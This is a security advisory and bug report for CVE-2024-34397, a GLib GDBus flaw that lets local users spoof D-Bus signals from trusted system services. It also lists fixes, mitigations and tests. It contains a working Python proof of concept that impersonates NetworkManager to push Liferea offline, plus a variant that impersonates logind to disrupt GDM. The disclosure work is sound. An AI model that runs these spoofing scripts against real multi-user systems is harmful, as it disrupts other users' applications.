CVE-2024-34397: GDBus signal subscriptions for well-known names are vulnerable to unicast spoofing
Vulnerability summary
Alicia Boya García discovered a security issue in GLib's GDBusConnection. When subscribing to a D-Bus signal using a well-known name such as com.example.Foo, the signal subscription mechanism did not check that the sender of the signal was genuinely the owner of the desired name.
CVE-2024-34397 has been allocated for this vulnerability.
Impact
When a GDBus-based client subscribes to signals from a trusted system service such as NetworkManager or systemd-logind on a shared computer, other users of the same computer can send spoofed D-Bus signals that the GDBus-based client will wrongly interpret as having been sent by the trusted system service. This could lead to the GDBus-based client behaving incorrectly, with an application-dependent impact.
Fixed versions
Please note that initial fixes for this vulnerability caused a regression for users of ibus (#3353 (closed)) which should also be addressed by distributors.
- GLib 2.80.x ≥ 2.80.1 (stable branch) by !4039 (merged); regression fix for #3353 (closed) in 2.80.2 via !4055 (merged)
- GLib 2.78.x ≥ 2.78.5 (old stable branch) by !4040 (merged); regression fix for #3353 (closed) in 2.78.6 via !4056 (merged)
- GLib ≥ 2.81.0 (development branch) by !4038 (merged); regression fix for #3353 (closed) via !4053 (merged)
Older branches such as 2.76.x are EOL and will not receive new upstream releases, but downstream distributions are likely to backport the fixes.
Vulnerable versions
- GLib 2.80.x before 2.80.1
- all versions before 2.78.5
Workarounds/mitigations
Subscribing to a signal by its sender's D-Bus unique name (such as :1.42) is not affected.
Subscribing to a signal from the D-Bus message bus by its name org.freedesktop.DBus is not affected. This is a special name defined by the D-Bus protocol, which has the syntax of a well-known name, but behaves like a unique name (and in particular can appear in the sender field of a message).
Programs that use g_dbus_connection_signal_subscribe() for a well-known name such as com.example.Foo could mitigate this vulnerability by tracking the current owner of the well-known name themselves, for example by using g_bus_watch_name(), and ignoring any calls to the GDBusSignalCallback where the sender_name does not match the name's current owner.
Fixes
Fixing this vulnerability requires multiple changes to GLib:
- 1e648b67 "gdbusprivate: Add symbolic constants for the message bus itself"
- 8dfea560 "gdbusconnection: Move SignalData, SignalSubscriber higher up"
- 816da605 "gdbusconnection: Factor out signal_data_new_take()"
- 5d7ad689 "gdbusconnection: Factor out add_signal_data()"
- 7d21b719 "gdbusconnection: Factor out remove_signal_data_if_unused"
- 26a3fb85 "gdbusconnection: Stop storing sender_unique_name in SignalData"
- 683b14b9 "gdbus: Track name owners for signal subscriptions"
- d4b65376 "gdbusconnection: Don't deliver signals if the sender doesn't match"
- 7d65f6c5 "gdbusconnection: Allow name owners to have the syntax of a well-known name" (regression fix, see #3353 (closed); added in 2.80.2)
The bug fix commits 10e9a917 "gdbusmessage: Cache the arg0 value" and 7b15b1db "gdbus-proxy test: Wait before asserting name owner has gone away" are not required to fix the vulnerability, but applying them in addition is recommended. When applying the vulnerability fix without those commits, GLib test failures were observed.
When backporting to older stable release branches, a backport of g_set_str() will be required, for example 67052fed "gdbusconnection: Make a backport of g_set_str() available" in !4041 (closed).
Fixing this vulnerability will trigger a regression in GNOME Shell's implementation of screen recording and screencasting, due to a pre-existing GNOME Shell bug. Applying commit gnome-shell@50a011a1 "screencast: Correct expected bus name for streams" to GNOME Shell fixes that regression. In distributions that ship GNOME Shell, it is recommended to make that change as part of the same security update that fixes the GLib vulnerability.
!4041 (closed) and !4042 (closed) contain unofficial backports to GLib 2.74.x (for Debian 12) and 2.66.x (for Debian 11) which other distributors might find useful as a starting point.
Test coverage
- 124b4571 "tests: Add a data-driven test for signal subscriptions"
- 14c3d693 "tests: Add support for subscribing to signals from a well-known name"
- 984354e0 "tests: Add a test-case for what happens if a unique name doesn't exist"
- fd265663 "tests: Add test coverage for signals that match the message bus's name"
- fc0ee920 "tests: Add a test for matching by two well-known names"
- f6d1b547 "tests: Add a test for signal filtering by well-known name"
- 96e3190a "tests: Ensure that unsubscribing with GetNameOwner in-flight doesn't crash"
These tests are included in !4038 (merged), !4039 (merged), !4040 (merged), !4041 (closed), !4042 (closed).
Original report
GDBus subscriptions to well-known services are vulnerable to unicast spoofing
When g_dbus_connection_signal_subscribe() is called with a well-known bus service name (e.g. org.freedesktop.login1) as value for the sender argument, the following occurs:
-
args_to_rule()is called, creating a D-Bus match rule string that contains the well-known name. - The local variable
sender_unique_nameis set to"", as it is a well-known name rather than a unique name. - The
map_rule_to_signal_datahash table is used to look for a previousSignalDatastructure for that exact rule string. Let's assume none exist. - A
SignalDatastructure is created with the well-known name assenderand empty string assender_unique_name, then a pointer to theSignalDatais stored inmap_rule_to_signal_datafor future occurrences. - An
AddMatchmessage is sent toorg.freedesktop.DBuswith the rule string. - A pointer to
SignalDatais stored inmap_sender_unique_name_to_signal_data_arraywith keysignal_data->sender_unique_name, hence empty string.
Later, the process may receive a D-Bus signal.
-
distribute_signals()gets called with the signal message. -
map_sender_unique_name_to_signal_data_arrayis queried with the unique name of the sender of the signal as key. Nothing is found. -
map_sender_unique_name_to_signal_data_arrayis queried with the empty string as key andschedule_callbacks()is called on the entries. -
schedule_callbacks()iterates through the array ofSignalData*discardingSignalDatastructures where either:a) The interface name doesn't match.
b) The member (i.e. signal name) doesn't match.
c) The object path doesn't match.
d) The signal arguments don't match.
-
The signal callback is called without any further verification.
Notice that "The sender doesn't match" is not along these checks. GDBus assumes that either has already been checked by indexing map_sender_unique_name_to_signal_data_array (which is only true for well-known names and org.freedesktop.DBus) or that the D-Bus broker wouldn't send such a message due to it being filtered by the match rule. However, there is at least one case described in the D-Bus specification in which this is not sufficient:
Messages may have a DESTINATION field (see the section called “Header Fields”), resulting in a unicast message. If the DESTINATION field is present, it specifies a message recipient by name. Method calls and replies normally specify this field. The message bus must send messages (of any type) with the DESTINATION field set to the specified recipient, regardless of whether the recipient has set up a match rule matching the message.
Therefore, an attacker on the same bus, even if unable to own any well-known names as it's the case by default in the SYSTEM bus, can construct a unicast DBus signal message with DESTINATION being the targeted application and send a signal with identical interface name, member, object path and matching arguments in order to spoof a D-Bus service with a well-known name.
The signal will trigger the invocation of the callback and it would be up to the application to validate the sender argument and not blindly trust the received signal arguments. This is a problem when the application passed a well-known service name as the sender argument for g_dbus_connection_signal_subscribe() expecting GDBus -- somewhat reasonably -- to do this filtering on its behalf.
g_dbus_connection_signal_subscribe() is also used internally by GDBus, maybe most notably by GDBusProxy. Fortunately there is this additional check in gdbusproxy.c:
static void
on_signal_received (GDBusConnection *connection,
const gchar *sender_name,
const gchar *object_path,
const gchar *interface_name,
const gchar *signal_name,
GVariant *parameters,
gpointer user_data)
{
GWeakRef *proxy_weak = user_data;
GDBusProxy *proxy;
proxy = G_DBUS_PROXY (g_weak_ref_get (proxy_weak));
// ...
if (proxy->priv->name_owner != NULL && g_strcmp0 (sender_name, proxy->priv->name_owner) != 0)
{
// ...
goto out;
}
Thanks to that additional check, users of GDBusProxy (e.g. those making use of the GLib signals 'g-signal' and 'g-properties-changed' instead of calling g_dbus_connection_signal_subscribe() for signal subscriptions) are not affected unless proxy->priv->name_owner is NULL, which will only happen if the provided well-known name doesn't exist in the bus.
Proof of concept
For a harmless proof of concept targetting the system bus, let's impersonate NetworkManager to convince the RSS reader Liferea that we are offline when we're actually online, or vice versa. The following is Python code. The packages dbus-fast and psutil must be installed and Liferea must be running.
from dbus_fast import BusType, Message
from dbus_fast.signature import Variant
from dbus_fast.aio.message_bus import MessageBus
import asyncio
import psutil
async def find_bus_service_with_process_string(bus: MessageBus, process_str: str) -> str:
dbus_introspection = await bus.introspect(
"org.freedesktop.DBus", "/org/freedesktop/DBus")
dbus_proxy = bus.get_proxy_object(
"org.freedesktop.DBus", "/org/freedesktop/DBus",
dbus_introspection)
dbus_iface = dbus_proxy.get_interface("org.freedesktop.DBus")
# Check the connections one by one to find the target
for service_name in await dbus_iface.call_list_names():
pid = await dbus_iface.call_get_connection_unix_process_id(service_name)
cmdline = ' '.join(psutil.Process(pid).cmdline())
if process_str in cmdline:
return service_name
NM_STATE_DISCONNECTED = 20
NM_STATE_CONNECTED_GLOBAL = 70
async def main():
bus = await MessageBus(bus_type=BusType.SYSTEM).connect()
victim_bus_user = await find_bus_service_with_process_string(bus,
"/liferea")
malicious_msg = Message.new_signal(
path="/org/freedesktop/NetworkManager",
interface="org.freedesktop.NetworkManager",
member="StateChanged",
signature="u",
body=[
NM_STATE_DISCONNECTED
],
)
malicious_msg.destination = victim_bus_user
await bus.send(malicious_msg)
asyncio.run(main())
After running the script, try clicking in "Update all" in Liferea and you'll see "Liferea is in offline mode. No update is possible." If you edit the script to send NM_STATE_CONNECTED_GLOBAL it will fetch news once again.
This is because Liferea uses g_dbus_connection_signal_subscribe() to listen for the StateChanged signal filtering by sender and then trusts the signals:
self->priv->subscription_id = g_dbus_connection_signal_subscribe (self->priv->conn,
"org.freedesktop.NetworkManager",
"org.freedesktop.NetworkManager",
"StateChanged",
NULL,
NULL,
G_DBUS_SIGNAL_FLAGS_NONE,
on_network_state_changed_cb,
self,
NULL);
static void
on_network_state_changed_cb (GDBusConnection *connection,
const gchar *sender_name,
const gchar *object_path,
const gchar *interface_name,
const gchar *signal_name,
GVariant *parameters,
gpointer user_data)
{
gboolean online = network_monitor_is_online ();
guint state;
g_variant_get (parameters, "(u)", &state);
if (online && !is_nm_connected (state)) {
debug (DEBUG_NET, "network manager: no network connection -> going offline");
network_monitor_set_online (FALSE);
} else if (!online && is_nm_connected (state)) {
debug (DEBUG_NET, "network manager: active connection -> going online");
network_monitor_set_online (TRUE);
}
}
This approach can be used to impersonate any system bus service. For instance, the following attacks gdm impersonating logind:
victim_bus_user = await find_bus_service_with_process_string(
bus, "/usr/bin/gdm")
malicious_msg = Message.new_signal(
path="/org/freedesktop/login1",
interface="org.freedesktop.login1.Manager",
member="SeatRemoved",
signature="so",
body=[
"seat0",
"/org/freedesktop/login1/seat/seat0"
])
By using D-Feet you can see the D-Bus tree for org.gnome.DisplayManager and how if you run that script, the entry under /org/gnome/DisplayManager/Displays/ is deleted as GDM uses g_dbus_connection_signal_subscribe() to handle the "SeatRemoved" signals:
static void
on_seat_removed (GDBusConnection *connection,
const gchar *sender_name,
const gchar *object_path,
const gchar *interface_name,
const gchar *signal_name,
GVariant *parameters,
gpointer user_data)
{
const char *seat;
g_variant_get (parameters, "(&s&o)", &seat, NULL);
delete_display (GDM_LOCAL_DISPLAY_FACTORY (user_data), seat);
}
factory->seat_removed_id = g_dbus_connection_signal_subscribe (factory->connection,
"org.freedesktop.login1",
"org.freedesktop.login1.Manager",
"SeatRemoved",
"/org/freedesktop/login1",
NULL,
G_DBUS_SIGNAL_FLAGS_NONE,
on_seat_removed,
g_object_ref (factory),
g_object_unref);
Discovery
I found this bug after finding a typo in one of the D-Bus strings of gnome-shell screen recording.
this._streamProxy = new ScreenCastStreamProxy(Gio.DBus.session,
'org.gnome.ScreenCast.Stream', // <-- should be 'org.gnome.Mutter.ScreenCast.Stream'
streamPath);
this._streamProxy.connectSignal('PipeWireStreamAdded',
(_proxy, _sender, params) => {
const [nodeId] = params;
this._nodeId = nodeId;
this._pipelineState = PipelineState.STARTING;
this._pipelineConfigs = this._getPipelineConfigs();
this._tryNextPipeline();
});
I was very confused that the screen recording application (which internally uses GDBusProxy through GJS and GObject-introspection) was able to handle the signal despite listening for the wrong service name.
The signal delivery turned out to only be possible due to a number of coincidences including this bug.